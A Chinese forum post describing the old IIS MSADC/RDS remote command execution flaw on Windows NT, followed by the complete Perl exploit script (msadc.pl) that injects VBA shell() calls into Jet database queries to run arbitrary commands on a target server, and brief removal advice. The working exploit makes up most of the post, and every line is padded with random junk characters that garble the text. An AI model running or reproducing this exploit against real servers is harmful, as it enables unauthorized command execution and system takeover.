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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) d-zNvbU"  
{<~oa+"  
涉及程序: $S_xrrE#  
Microsoft NT server M x/G^yO9  
:7,j%ELic  
描述: 3y[6n$U&  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 XYi-o][Mf  
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详细: >9Yo:b:f  
如果你没有时间读详细内容的话,就删除: EpX.{B@B_[  
c:\Program Files\Common Files\System\Msadc\msadcs.dll N-0kB vo  
有关的安全问题就没有了。 (;9-8Y&_d  
Y ]xFe>  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Z%Kkh2-uh  
_ (U|Kpi  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。  b6`_;Z  
关于利用ODBC远程漏洞的描述,请参看: =RA8^wI  
Oy,7>vWQI  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm H2ZRUFu  
;qA(!`h+  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Lp|7s8?  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp <|!?V"`3  
pk%%}tP<  
这里不再论述。 [tKH'}/s=  
#-]!;sY>  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: :>:F6Db"U  
FZvh]ZX  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ^\ N@qL  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! CAbeb+O  
9J*M~gKbz  
X j>?P/=Z  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ! sN~w  
yDuMn<=3  
#!perl XF6ed  
# X,] E {  
# MSADC/RDS 'usage' (aka exploit) script LU-,B?1  
# c:J;Q){Xz  
# by rain.forest.puppy ii3{HJ*C  
# \ah.@s  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me A~@u#]]<n  
# beta test and find errors! (~6D`g`B  
W~!uSrY  
use Socket; use Getopt::Std; lYF~CNvE  
getopts("e:vd:h:XR", \%args); O`;e^PhN  
[Yq*DkW  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Y"n$d0%  
fEWXC|"  
if (!defined $args{h} && !defined $args{R}) { j3Sz+kOf,  
print qq~ Z[, A>tJ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } kBRy(?Mft&  
-h <host> = host you want to scan (ip or domain) j>}<FW-N  
-d <seconds> = delay between calls, default 1 second qg`8f?  
-X = dump Index Server path table, if available 6>X9|w  
-v = verbose 5DI&pR1eZ  
-e = external dictionary file for step 5 QY^v*+lr\  
>" &&,~  
Or a -R will resume a command session 3pk=c-x  
`W*b?e| H1  
~; exit;} Knjg`f  
u ? }T)B  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; *_ U=KpZF  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} R7 WGc[  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} [ T6MaP?  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 'yw7|i2  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Bvai  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } -4=\uvYh  
Dcep^8'  
if (!defined $args{R}){ $ret = &has_msadc; U2DE zr  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ,S%DHT  
(6Y.|u]bq  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  EOn[!  
. "cmd /c "; +kj d;u#  
$in=<STDIN>; chomp $in; ?a]1$>r  
$command="cmd /c " . $in ; 'QP~uK  
q83!PI  
if (defined $args{R}) {&load; exit;} !&f>,?wlP  
(2l?~CaK  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; NbyXi3@v  
&try_btcustmr; ;bMmJ>[l-  
t0"2Si  
print "\nStep 2: Trying to make our own DSN..."; b~u53   
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Qp5YS  
}#Q?\  
print "\nStep 3: Trying known DSNs..."; <y!(X"n`  
&known_dsn; z~f;5xtI  
H!81Pq~  
print "\nStep 4: Trying known .mdbs..."; m~<<ok_  
&known_mdb; 6a%dq"5 +  
3c|u2Pl  
if (defined $args{e}){ m35$4  
print "\nStep 5: Trying dictionary of DSN names..."; M,R**z  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } N+#lS7  
BMJsR0  
print "Sorry Charley...maybe next time?\n"; ~snYf7  
exit; ]iHSUP  
:rdnb=n  
############################################################################## }R\;htmc;  
V-N`R-FSr  
sub sendraw { # ripped and modded from whisker "c2{n,  
sleep($delay); # it's a DoS on the server! At least on mine... ]tnf< 5x  
my ($pstr)=@_; )bkJ[ '9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @krh<T6|  
die("Socket problems\n"); Tg;1;XM%  
if(connect(S,pack "SnA4x8",2,80,$target)){ GX@=b6#-  
select(S); $|=1; O~bJ<O=?  
print $pstr; my @in=<S>; 6$ \69   
select(STDOUT); close(S); ^*@D%U  
return @in; 4*Y`Pn@  
} else { die("Can't connect...\n"); }} 0%b !ARix  
[Q:C\f]  
############################################################################## tT`{xM  
D3 .$Vl,.  
sub make_header { # make the HTTP request G1?m}{D)  
my $msadc=<<EOT Mf_urbp]  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 *vS)aRK  
User-Agent: ACTIVEDATA Tsc2;I  
Host: $ip 5@/hqOiu  
Content-Length: $clen 2$=I+8IL  
Connection: Keep-Alive QZ?%xN(4  
EA=EcUf'  
ADCClientVersion:01.06 Pgh)+>ON  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 kWm[Lt  
|-zefzD|  
--!ADM!ROX!YOUR!WORLD! {@*l,[,5-  
Content-Type: application/x-varg tg#d.(  
Content-Length: $reqlen Y3M"a8e'  
9'I$8Su  
EOT RkTO5XO  
; $msadc=~s/\n/\r\n/g; M WHzrqCA  
return $msadc;} 7c>{og6  
Cz)/Bq  
############################################################################## #_9Jam%M  
9X ^D(  
sub make_req { # make the RDS request [qHtN.  
my ($switch, $p1, $p2)=@_; NB)$l2<d  
my $req=""; my $t1, $t2, $query, $dsn; {K ,-fbE  
*T:gx:Sg/  
if ($switch==1){ # this is the btcustmr.mdb query -_p@I+B  
$query="Select * from Customers where City=" . make_shell(); O@7={)6qc  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +T*]!9%<`:  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ^Sj*  
$-l\&V++F  
elsif ($switch==2){ # this is general make table query &l;wb.%ijW  
$query="create table AZZ (B int, C varchar(10))"; _2p D  
$dsn="$p1";} K!A;C#b!  
(+w.?l  
elsif ($switch==3){ # this is general exploit table query {Ip)%uR  
$query="select * from AZZ where C=" . make_shell(); g(-}M`  
$dsn="$p1";} s& Lyg>>`  
w7"&\8a  
elsif ($switch==4){ # attempt to hork file info from index server 88~ lP7J  
$query="select path from scope()"; 3^2P7$W=   
$dsn="Provider=MSIDXS;";} wU(N<9  
_]q%Hve  
elsif ($switch==5){ # bad query =CGB}qU l0  
$query="select"; em, j>qp  
$dsn="$p1";} ]<<+#Rg  
:(Uz`k7   
$t1= make_unicode($query); b+!I_g4P  
$t2= make_unicode($dsn); o)SA^5  
$req = "\x02\x00\x03\x00"; S<=|i  
$req.= "\x08\x00" . pack ("S1", length($t1)); rG"QK!R5  
$req.= "\x00\x00" . $t1 ; iD`>Bt7gD  
$req.= "\x08\x00" . pack ("S1", length($t2)); ,.-85isco  
$req.= "\x00\x00" . $t2 ; ^h~oxZJw  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; r3mQoTvnv  
return $req;} vI1UFD D  
5nh:S0M6V  
############################################################################## -gR }^D   
qytH<UB  
sub make_shell { # this makes the shell() statement >X0c:p Pu  
return "'|shell(\"$command\")|'";} T*v@hbJ  
b _%W*Q  
############################################################################## C=!YcJ9  
|p"4cG?)  
sub make_unicode { # quick little function to convert to unicode M F_VMAq  
my ($in)=@_; my $out; A;e0h)F$-  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } GJ P\vsaQ  
return $out;} 6"PwOEt  
n^:Wc[[m  
############################################################################## ~h@<14c{X  
u8sK~1CPf  
sub rdo_success { # checks for RDO return success (this is kludge) 3oE3bBj  
my (@in) = @_; my $base=content_start(@in); "u.4@^+i  
if($in[$base]=~/multipart\/mixed/){ q A?j-H  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 01AzM)U3"m  
return 0;} DY'1#$;  
* u{CnH  
############################################################################## RQt\_x7P  
&.`/ln  
sub make_dsn { # this makes a DSN for us n=tg{_9f%  
my @drives=("c","d","e","f"); <'l;j"&lp  
print "\nMaking DSN: "; (14J~MDB  
foreach $drive (@drives) { -Ka0B={Z  
print "$drive: "; N%" /mcO  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Mg^.~8\d e  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .BqS E   
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); &Dw8GU}1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ?~fuMy B  
return 0 if $2 eq "404"; # not found/doesn't exist hY^-kdQ>M  
if($2 eq "200") { {nyVC%@Y  
foreach $line (@results) { Wzx Dnd<B  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} xulwn{R s  
} return 0;} xfqW~&  
itmQH\9 8  
############################################################################## +pMjm&CF  
Fm,} sP"Qx  
sub verify_exists { Xh*p\ $  
my ($page)=@_; n]]!:jFC  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ;zZGV4Qc~  
return $results[0];} {<}kqn83sT  
Ow7}&\;^-  
############################################################################## UB&)U\hn  
(y;8izp9!  
sub try_btcustmr { 2O~I.(9(  
my @drives=("c","d","e","f"); XkJzt  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qGgqAF#B  
l: X]$2;  
foreach $dir (@dirs) { u%`4;|tI  
print "$dir -> "; # fun status so you can see progress 8E9W\@\  
foreach $drive (@drives) { 2(Ez H  
print "$drive: "; # ditto =|G l  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; glvt umv  
$reqlenlen=length( "$reqlen" ); #6 yi  
$clen= 206 + $reqlenlen + $reqlen; {2,OK=XM|  
a|\ZC\(xI  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); p"XQJUuD  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} \hcb~>=C  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ;}=[( eqA  
Nq3q##Ut:  
############################################################################## Ikbz3]F^V  
C)Ez>~Z  
sub odbc_error { ?[K \X  
my (@in)=@_; my $base; USrg,A  
my $base = content_start(@in); QA3q9,C"  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Z*Qra4GBl]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; V/jEMJNks  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q<F-l. q   
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _a3,Zuv  
return $in[$base+4].$in[$base+5].$in[$base+6];} ;2=H7dq  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; RO1xcCp  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 9G'Q3? z  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} D{!NTr  
"77 j(Vs9  
############################################################################## `1$7. ydQ  
Vgh_F8G!V  
sub verbose { N>$Nw<wV  
my ($in)=@_; t6)wR  
return if !$verbose; ,Uh7Q-vd  
print STDOUT "\n$in\n";} /o19/Pvwm  
kN)m"}gX  
############################################################################## ~+GMn[h  
LOkNDmj  
sub save { 9V%s1@K  
my ($p1, $p2, $p3, $p4)=@_; Ba],ONM4k  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; *CH lg1  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; <Eo; CaaF/  
close OUT;} _e;$Y#`EO  
z$d/Vz,a  
############################################################################## ,\FJVS;NeJ  
5r:SBt|/  
sub load { 9 OC!\' 8  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 27t23@{YL  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 0O,l rF0'  
@p=<IN>; close(IN); ;J[1S  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); LI&+5`  
$target= inet_aton($ip) || die("inet_aton problems"); o!3-=<^  
print "Resuming to $ip ..."; YAIDSZ&l[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Ba\l`$%X  
if($p[1]==1) { JRm:hf'  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; s9wc ZO  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; P>dMET  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); hoc$aqP6pp  
if (rdo_success(@results)){print "Success!\n";} <Cvlz^K[  
else { print "failed\n"; verbose(odbc_error(@results));}} ueiXY|  
elsif ($p[1]==3){ Q`Q%;%t  
if(run_query("$p[3]")){ tBp146`  
print "Success!\n";} else { print "failed\n"; }} SY` U]-h  
elsif ($p[1]==4){ A(mU,^  
if(run_query($drvst . "$p[3]")){ \V|\u=@H  
print "Success!\n"; } else { print "failed\n"; }} _d'x6$Jg  
exit;} 24)3^1P\V  
D! 1oYr  
############################################################################## B?nQUIb:  
}' mBqn  
sub create_table { A3p@hQl  
my ($in)=@_; -$E_L :M  
$reqlen=length( make_req(2,$in,"") ) - 28; 8} \Lt  
$reqlenlen=length( "$reqlen" ); t]~L o3  
$clen= 206 + $reqlenlen + $reqlen; 0@yHT-Dy  
my @results=sendraw(make_header() . make_req(2,$in,"")); (>x4X@b  
return 1 if rdo_success(@results); =8r%zLDw  
my $temp= odbc_error(@results); verbose($temp); 3hOiHO ;  
return 1 if $temp=~/Table 'AZZ' already exists/; DHO6&8S  
return 0;} jB*%nB*x  
ZkW,  
############################################################################## a{7>7%[  
sS, Swgr  
sub known_dsn { F#X&Tb{  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go -bo5/`x  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  eU"!X9  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",  $&96qsr  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 0sv#* &0=  
;^}gC}tq  
foreach $dSn (@dsns) { FY [WdZDZ  
print "."; uoYG@L2  
next if (!is_access("DSN=$dSn")); Cg/L/0Ak  
if(create_table("DSN=$dSn")){ /2K4ka<?7  
print "$dSn successful\n"; =h?WT*  
if(run_query("DSN=$dSn")){ y]B?{m``6  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7u!i)<pn  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ){|Bh3XV  
*.0}3  
############################################################################## 1MH[-=[Q  
.v36xXK(  
sub is_access { _uuxTNN0x*  
my ($in)=@_; \ %Er%yv)  
$reqlen=length( make_req(5,$in,"") ) - 28; {(@M0?  
$reqlenlen=length( "$reqlen" ); X !g"D6'  
$clen= 206 + $reqlenlen + $reqlen; 1D03Nbh|5  
my @results=sendraw(make_header() . make_req(5,$in,"")); \`\& G-\  
my $temp= odbc_error(@results); +_tK \MN  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); $R3]y9`?  
return 0;} |1zoT|}q  
`Ym7XF&  
############################################################################## epsh&)5a*  
4=S.U`t7  
sub run_query { .7Zb,r  
my ($in)=@_; lC Bb0k2  
$reqlen=length( make_req(3,$in,"") ) - 28; cF9bSY_Eh  
$reqlenlen=length( "$reqlen" ); Xm./XC  
$clen= 206 + $reqlenlen + $reqlen; P08=?  
my @results=sendraw(make_header() . make_req(3,$in,"")); +1R?R9^Fw  
return 1 if rdo_success(@results); n 0_q-8r  
my $temp= odbc_error(@results); verbose($temp); R _WP r[P  
return 0;} C fKvC  
*Ppb;   
############################################################################## eXY*l>B  
9k mkF,  
sub known_mdb { >M{=qs  
my @drives=("c","d","e","f","g"); Bb2;zOGdA  
my @dirs=("winnt","winnt35","winnt351","win","windows"); XBE+O7  
my $dir, $drive, $mdb; A*jU&3#  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; M=$ qus  
zdFO&YHTw  
# this is sparse, because I don't know of many ?El8:zt?|  
my @sysmdbs=( "\\catroot\\icatalog.mdb", _FXvJ}~m  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", f]MKNX  
"\\system32\\certmdb.mdb", )?#*GMWU  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% /EF0~iy  
SFVOof#s  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ~Rd,jfx  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 3 f=_F  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", .UF](  
"\\cfusion\\cfapps\\security\\realm_.mdb", @:u>  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", YvD+Lk'hm  
"\\cfusion\\database\\cfexamples.mdb", P,-f]k[_  
"\\cfusion\\database\\cfsnippets.mdb", @sUYjB  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", r>4HF"Nm  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", jnfktDV'  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Atc<xp  
"\\cfusion\\database\\smpolicy.mdb", :ulOG{z  
"\\cfusion\\database\cypress.mdb", H`#{zt);  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", p|!5G&O,  
"\\website\\cgi-win\\dbsample.mdb", U5N/'p%)<  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", n qSjP5  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ME"B1 Se\  
); #these are just n1+1/  
foreach $drive (@drives) { F?#^wm5TZ  
foreach $dir (@dirs){ 6-8,qk  
foreach $mdb (@sysmdbs) { K.s\xA5`_  
print "."; 0$)uOUVJ  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ HBHDu;u  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; \$GM4:R D  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ mw2/jA7  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 8aDh HXI  
} else { print "Something's borked. Use verbose next time\n"; }}}}} s8L=:hiSf)  
32nB9[l  
foreach $drive (@drives) { 5}S~8  
foreach $mdb (@mdbs) { qxKW% {6o  
print "."; 28,Hd!{  
if(create_table($drv . $drive . $dir . $mdb)){ VfWU-lJ  
print "\n" . $drive . $dir . $mdb . " successful\n"; /J''`Tf  
if(run_query($drv . $drive . $dir . $mdb)){ LpCJfQ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; a6\0XVU  
} else { print "Something's borked. Use verbose next time\n"; }}}} N 4Kj)E@  
} 2d),*Cvf  
g=*'kj7c3  
############################################################################## .S ZZT0Z  
E,u/^V9x  
sub hork_idx { H_w&_h&  
print "\nAttempting to dump Index Server tables...\n"; /-%0y2"7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; J @eu ]?h  
$reqlen=length( make_req(4,"","") ) - 28; F/gA[Y|,gI  
$reqlenlen=length( "$reqlen" ); Kvx~2ZMx6  
$clen= 206 + $reqlenlen + $reqlen; .nDB{@#  
my @results=sendraw2(make_header() . make_req(4,"","")); KrVP#|9%"  
if (rdo_success(@results)){ @JB9qT  
my $max=@results; my $c; my %d; HRQ3v`P.  
for($c=19; $c<$max; $c++){ G8bc\]  
$results[$c]=~s/\x00//g; {}gx;v)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; BwpEIV@b]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;  zciL'9  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; +H"[WZ5  
$d{"$1$2"}="";} #aHPB#  
foreach $c (keys %d){ print "$c\n"; } EWz,K] _'  
} else {print "Index server doesn't seem to be installed.\n"; }} 1eod;^AP9  
XT2:XWI8  
############################################################################## p>Z18  
,xcm:; &  
sub dsn_dict { KHnq%#  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); tqo k.h  
while(<IN>){ 8v{0=9,Z  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 'PO+P~|oa&  
next if (!is_access("DSN=$dSn")); }4$k-,1S  
if(create_table("DSN=$dSn")){ K=Q<G:+&V  
print "$dSn successful\n"; Bs?B\k=  
if(run_query("DSN=$dSn")){ eKpWFP 0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { i&K-|[3{g  
print "Something's borked. Use verbose next time\n";}}} 4~8!3JH39  
print "\n"; close(IN);} Dk ^,iY(u  
||p>O  
############################################################################## ''p7!V?  
prypo.RI  
sub sendraw2 { # ripped and modded from whisker 4Ny lc.2mi  
sleep($delay); # it's a DoS on the server! At least on mine... 6KH&-ffd  
my ($pstr)=@_; lftT55Tki  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z5njblUz  
die("Socket problems\n"); KOv?p@d  
if(connect(S,pack "SnA4x8",2,80,$target)){ \eH`{Z'.x5  
print "Connected. Getting data"; vZ6_/ew8  
open(OUT,">raw.out"); my @in; Al93x  
select(S); $|=1; print $pstr; ~)fd+~4L  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ?aMd#.&  
close(OUT); select(STDOUT); close(S); return @in; ve3-GWT{C  
} else { die("Can't connect...\n"); }} fx74h{3u  
c]Z@L~WW  
############################################################################## 4Su|aWL-  
ta;q{3fe  
sub content_start { # this will take in the server headers GkU]>8E'"  
my (@in)=@_; my $c; :o37 V!  
for ($c=1;$c<500;$c++) { +cXdF  
if($in[$c] =~/^\x0d\x0a/){ 1uwzo9Yg  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } QV%,s!_b  
else { return $c+1; }}} 1r:i'cW h  
return -1;} # it should never get here actually P<E!ix  
w^EUBRI-  
############################################################################## ]=ubl!0=:  
S+*%u/;l  
sub funky { m)\wbkC  
my (@in)=@_; my $error=odbc_error(@in); 506AvD  
if($error=~/ADO could not find the specified provider/){ B5R/GV  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ?xTdL738  
exit;} ,qUOPW?=  
if($error=~/A Handler is required/){ |g`:K0BI  
print "\nServer has custom handler filters (they most likely are patched)\n"; AQ<2 "s  
exit;} d,V]j-  
if($error=~/specified Handler has denied Access/){ RCC~#bb  
print "\nServer has custom handler filters (they most likely are patched)\n"; bnZ`Wc*5b  
exit;}} b<E0|VW  
c{(4s6D  
############################################################################## B k yW  
K lbUs\E  
sub has_msadc { _N1UL?  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); #cCR\$-~  
my $base=content_start(@results); <jz\U7TBf  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ?S2!'L  
return 0;} 1RU+d.&D  
8GKqPS+  
######################## o0B3G  
[j;#w,Wb  
7dh--.i  
解决方案: hsJS(qEh.'  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ~IQ2;A  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 B,NHy C1i  
^(.utO  
拿出来充数 哈哈
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